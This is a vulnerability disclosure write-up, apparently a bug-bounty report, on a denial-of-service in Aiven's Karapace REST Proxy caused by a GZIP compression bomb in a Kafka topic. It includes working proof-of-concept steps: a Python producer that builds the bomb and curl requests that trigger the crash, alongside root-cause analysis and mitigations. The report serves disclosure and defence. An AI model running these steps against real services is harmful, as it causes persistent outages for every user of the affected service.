VRT
Server-Side Injection > Resource Exhaustion > Denial of Service
CVSS
7.5 (High), CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Summary
An authenticated Aiven Kafka user can crash Aiven’s Karapace REST Proxy by producing a GZIP-compressed message with an extreme compression ratio (compression bomb) to any topic, then consuming that topic through the Karapace REST API. Karapace uses confluent-kafka-python (backed by librdkafka) for its internal consumer, and librdkafka’s GZIP decompression has no upper bound on output size, unlike its ZSTD codec which correctly caps decompression at receive.message.max.bytes.
A 917KB compressed message decompresses to 900MB, causing Karapace to allocate 1.8GB+ of memory and crash. The bomb message persists in the topic, re-crashing Karapace on every subsequent consume request from any user.
Aiven-Specific Impact
This is NOT merely an upstream librdkafka bug report. The finding is that Aiven’s Karapace architecture exposes a server-side librdkafka consumer to attacker-controlled compressed data without any decompression size mitigation:
- Karapace REST Proxy is Aiven’s own service, it runs server-side, consuming from user topics via librdkafka
- Users control the message content, any authenticated producer can send compressed messages
- No server-side decompression limit, Aiven imposes no additional bounds beyond what librdkafka provides (which for GZIP is: none)
- Persistent DoS, the bomb message stays in the topic until retention expires; every REST API consume attempt re-triggers the crash
- Service-level impact, Karapace crash affects Schema Registry and REST Proxy availability for the entire Kafka service
Attack Chain
Attacker (authenticated) → Produce GZIP bomb to topic via Kafka protocol
→ Consume topic via Karapace REST API
→ Karapace's librdkafka consumer decompresses bomb
→ Unbounded memory allocation → OOM → Karapace crash
Reproduction
Prerequisites
- Aiven Kafka service with
kafka_restenabled - SSL certificates from Aiven console
- Python 3 + confluent-kafka:
pip install confluent-kafka
Step 1: Produce GZIP compression bomb
from confluent_kafka import Producer
# 200MB of zeros → ~200KB compressed with GZIP (1000:1 ratio)
payload = b'\x00' * (200 * 1024 * 1024)
conf = {
'bootstrap.servers': '<kafka-host>:<port>',
'security.protocol': 'SSL',
'ssl.ca.location': 'ca.pem',
'ssl.certificate.location': 'service.cert',
'ssl.key.location': 'service.key',
'compression.type': 'gzip',
'message.max.bytes': str(210 * 1024 * 1024),
}
p = Producer(conf)
p.produce('bomb-topic', value=payload)
p.flush()
# Result: ~200KB stored on broker, decompresses to 200MB
Step 2: Consume via Karapace REST API (triggers crash)
KARAPACE="https://<kafka-rest-host>:<port>"
# Create consumer
curl -s -X POST "$KARAPACE/consumers/bomb-group" \
-H "Content-Type: application/vnd.kafka.binary.v2+json" \
--cert service.cert --key service.key --cacert ca.pem \
-d '{"name":"bomb-consumer","format":"binary","auto.offset.reset":"earliest"}'
# Subscribe
curl -s -X POST "$KARAPACE/consumers/bomb-group/instances/bomb-consumer/subscription" \
-H "Content-Type: application/vnd.kafka.binary.v2+json" \
--cert service.cert --key service.key --cacert ca.pem \
-d '{"topics":["bomb-topic"]}'
# Fetch records - THIS TRIGGERS THE CRASH
# Karapace's librdkafka consumer decompresses the bomb → OOM
curl -s "$KARAPACE/consumers/bomb-group/instances/bomb-consumer/records" \
-H "Accept: application/vnd.kafka.binary.v2+json" \
--cert service.cert --key service.key --cacert ca.pem
# Expected: connection reset / 502 / timeout (Karapace has crashed)
Step 3: Verify Karapace crash
# Subsequent requests to Karapace fail until it restarts:
curl -s "$KARAPACE/topics" \
--cert service.cert --key service.key --cacert ca.pem
# Expected: connection refused / 502 (service restarting)
Root Cause Analysis
librdkafka’s decompression codecs have inconsistent size bounds:
| Codec | Source File | Size Limit | Vulnerable? |
|---|---|---|---|
| ZSTD | rdkafka_zstd.c |
while (out_bufsize <= recv_max_msg_size) |
No, correctly bounded |
| GZIP | rdgz.c |
NONE, allocates full strm.total_out |
YES |
| LZ4 | rdkafka_lz4.c |
NONE, unbounded realloc loop | YES |
| Snappy | snappy.c |
NONE, allocates sum of chunk sizes | YES |
The ZSTD codec correctly caps decompression at receive.message.max.bytes. The GZIP, LZ4, and Snappy codecs do not enforce any limit, allowing attacker-controlled decompressed output sizes.
Aiven’s Karapace does not add any additional decompression limit on top of librdkafka’s defaults, nor does the Aiven Kafka configuration impose decompression bounds at the service level.
Local PoC Evidence (Docker Kafka 4.2.0 + librdkafka 2.14.0)
200MB bomb: - Compressed on broker: 203,932 bytes (199KB) - Consumer memory increase: +400MB (from 15MB baseline to 416MB)
900MB bomb:
- Compressed on broker: 917,351 bytes (896KB)
- Consumer memory increase: +1.8GB (from 15MB baseline to 1,816MB)
- Kafka broker’s own DumpLogSegments tool crashes: java.lang.OutOfMemoryError: Java heap space
Suggested Mitigations for Aiven
- Karapace-level: Configure
receive.message.max.bytesto a safe value and add explicit decompression size validation before serving via REST API - Container-level: Set memory limits on the Karapace container with OOM restart policy
- Service-level: Add a configurable
max.decompressed.message.bytesparameter that applies across all compression codecs - Upstream: Report the inconsistent decompression bounds to Confluent/librdkafka (GZIP/LZ4/Snappy should match ZSTD’s behavior)
Affected Versions
- Aiven Karapace: all versions using confluent-kafka-python
- librdkafka: all versions through 2.14.0 (latest)
- All Aiven Kafka services with REST Proxy enabled
Source · github.com/zionsworking/security-research-notebook · writeups/aiven/kafka-karapace-gzip-bomb-dos.md